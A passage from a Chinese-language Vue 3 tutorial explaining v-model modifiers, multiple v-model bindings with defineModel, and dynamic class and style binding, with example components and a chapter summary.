// .number —— 自动把输入转成数字(如果能转的话)
const numericInput = ref<number>(0)

// .trim —— 自动去除首尾空格
const trimmedInput = ref('')
</script>

<template>
  <!-- .lazy只在 change 事件时更新适合大文本输入减少更新次数-->
  <textarea v-model.lazy="lazyInput" placeholder="输入后失去焦点才更新..."></textarea>
  <p>当前值{{ lazyInput }}</p>

  <!-- .number把输入自动转成数字类型 -->
  <!-- 如果输入的不是数字保留原值 -->
  <input v-model.number="numericInput" type="text" placeholder="输入数字..." />
  <p>类型{{ typeof numericInput }}{{ numericInput }}</p>

  <!-- .trim自动 trim 掉首尾空格 -->
  <input v-model.trim="trimmedInput" placeholder="输入带空格的文本..." />
  <p>去空格后'{{ trimmedInput }}'</p>
</template>

.number 的一个小坑: 如果用户输入以数字开头但后面有字母,比如 "123abc",Vue 会保留原值(因为无法转成纯数字)。有时候这会导致 NaN 的问题,需要额外处理。

3.5.3 多个 v-model 绑定

Vue 3 允许在一个组件上绑定多个 v-model

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
<script setup>
import { ref } from 'vue'

const firstName = ref('')
const lastName = ref('')
const email = ref('')
</script>

<template>
  <!-- 一个组件上可以绑定多个 v-model -->
  <!-- 每个 v-model 绑定一个独立的数据 -->
  <UserForm
    v-model:first-name="firstName"
    v-model:last-name="lastName"
    v-model:email="email"
  />

  <p>完整姓名{{ firstName }} {{ lastName }}</p>
  <p>邮箱{{ email }}</p>
</template>

在子组件里,只需要用 defineModel 来声明每个 v-model:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
<!-- UserForm.vue -->
<script setup>
// Vue 3.4+ 推荐写法:直接用 defineModel,无需额外 defineProps
// defineModel 会自动声明对应的 props,并返回响应式 ref
const firstName = defineModel('firstName')
const lastName = defineModel('lastName')
const email = defineModel('email')
</script>

<template>
  <input v-model="firstName" placeholder="名" />
  <input v-model="lastName" placeholder="姓" />
  <input v-model="email" placeholder="邮箱" />
</template>

3.6 class 与 style 绑定

3.6.1 绑定 class(对象语法、数组语法)

Vue 允许动态绑定 HTML 的 class 属性,支持对象语法数组语法两种方式。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<script setup>
import { ref } from 'vue'

const isActive = ref(true)
const hasError = ref(false)

// 多个 class 条件
const classObject = ref({
  active: true,
  'text-danger': false,
  highlighted: true
})

// 数组语法:把所有可能的 class 放在数组里
const activeClass = 'active'
const errorClass = 'text-danger'
const sizeClass = 'large'
</script>

<template>
  <!-- 对象语法{ class名: 布尔值 } -->
  <!-- 当布尔值为 true 这个 class 会被应用 -->
  <div :class="{ active: isActive, 'text-danger': hasError }">
    对象语法绑定 class
  </div>

  <!-- 引用一个计算属性或 data 里的对象 -->
  <div :class="classObject">使用 classObject</div>

  <!-- 数组语法把要应用的 class 放在数组里 -->
  <!-- 数组里的表达式值为 false/null/undefined 对应的 class 不应用 -->
  <div :class="[activeClass, errorClass, sizeClass]">数组语法绑定 class</div>

  <!-- 数组 + 三元表达式 -->
  <div :class="[isActive ? 'active' : '', errorClass]">混合用法</div>

  <!-- 在普通 class 基础上动态绑定 -->
  <div class="base-class" :class="{ active: isActive }">
    基础 class + 动态 class
  </div>
</template>

3.6.2 绑定 style(对象语法、数组语法)

和 class 一样,Vue 也支持动态绑定内联样式(:style),格式是 CSS 属性名的驼峰写法引号包裹的短横线写法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<script setup>
import { ref } from 'vue'

const activeColor = 'red'
const fontSize = 30

// style 对象语法:CSS 属性用驼峰命名
const styleObject = ref({
  color: 'blue',
  fontSize: '20px',
  backgroundColor: '#f0f0f0'
})
</script>

<template>
  <!-- style 对象语法 -->
  <div :style="{ color: activeColor, fontSize: fontSize + 'px' }">
    动态内联样式对象语法  </div>

  <!-- 直接引用 style 对象 -->
  <div :style="styleObject">使用 styleObject</div>

  <!-- 数组语法多个 style 对象合并 -->
  <div :style="[styleObject, { fontWeight: 'bold' }]">
    合并多个 style 对象
  </div>

  <!--  CSS 属性加浏览器前缀时Vue 会自动处理 -->
  <!-- transform: translateX(10px)在对象里写 transform: 'translateX(10px)' -->
  <div :style="{ transform: 'rotate(45deg)' }">旋转 45 </div>
</template>

3.6.3 条件 class

最常见的 class 绑定场景是根据条件决定要不要加某个 class,比如"按钮在禁用状态下样式不同":

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<script setup>
import { ref } from 'vue'

const isDisabled = ref(false)
const buttonType = ref('primary')  // primary | danger | success
const isLoading = ref(false)
</script>

<template>
  <!-- 根据 isDisabled 动态添加 disabled class -->
  <button
    :class="{ disabled: isDisabled, loading: isLoading }"
    :disabled="isDisabled || isLoading"
  >
    {{ isLoading ? '加载中...' : '提交' }}
  </button>

  <!-- 根据 buttonType 应用不同颜色 -->
  <button :class="['btn', `btn-${buttonType}`]">
    {{ buttonType }} 按钮
  </button>

  <!-- 常见用法列表项的奇偶行不同样式 -->
  <ul>
    <li
      v-for="(item, index) in items"
      :key="item.id"
      :class="{ 'list-item': true, 'list-item-even': index % 2 === 0 }"
    >
      {{ item.name }}
    </li>
  </ul>
</template>

<style scoped>
.btn {
  padding: 8px 16px;
  border: none;
  border-radius: 4px;
  cursor: pointer;
}

.btn-primary { background: #42b883; color: white; }
.btn-danger { background: #e63946; color: white; }
.btn-success { background: #2a9d8f; color: white; }

.disabled { opacity: 0.5; cursor: not-allowed; }
.loading { opacity: 0.7; cursor: wait; }
</style>

本章小结

本章我们学习了 Vue 3 最核心的模板语法,它们是 Vue 开发中最基础也最高频的技能:

  • 模板语法:双大括号 {{ }} 插值、v-html 渲染原始 HTML、v-bind :xxx 动态属性绑定,模板里可以使用任何 JS 表达式但不能写语句。
  • 条件渲染:v-if/v-else-if/v-else 实现真正的 DOM 创建和销毁,v-show 用 CSS display 控制显示隐藏,key 属性控制元素是否被复用。
  • 列表渲染:v-for 可以遍历数组、对象、数字、字符串,key 必须是唯一标识(不能用 index),Vue 3 能检测到 push/pop/splice 等数组操作的变化。
  • 事件处理:@click 等事件绑定,内联处理器和方法处理器两种写法,六种事件修饰符(stop/prevent/capture/self/once/passive),按键修饰符和系统修饰符。
  • 双向绑定:v-model 是 Vue 最核心的指令之一,支持 .lazy/.number/.trim 修饰符,一个组件可以绑定多个 v-model:xxx。
  • class 与 style 绑定:对象语法和数组语法两种方式,可以和普通 class/style 混合使用。

下一章我们会深入 Vue 3 的灵魂——响应式系统,探讨 ref、reactive、computed、watch 这些核心概念,理解 Vue 是如何追踪数据变化并自动更新视图的。这是你从"会用 Vue"到"理解 Vue"的必经之路!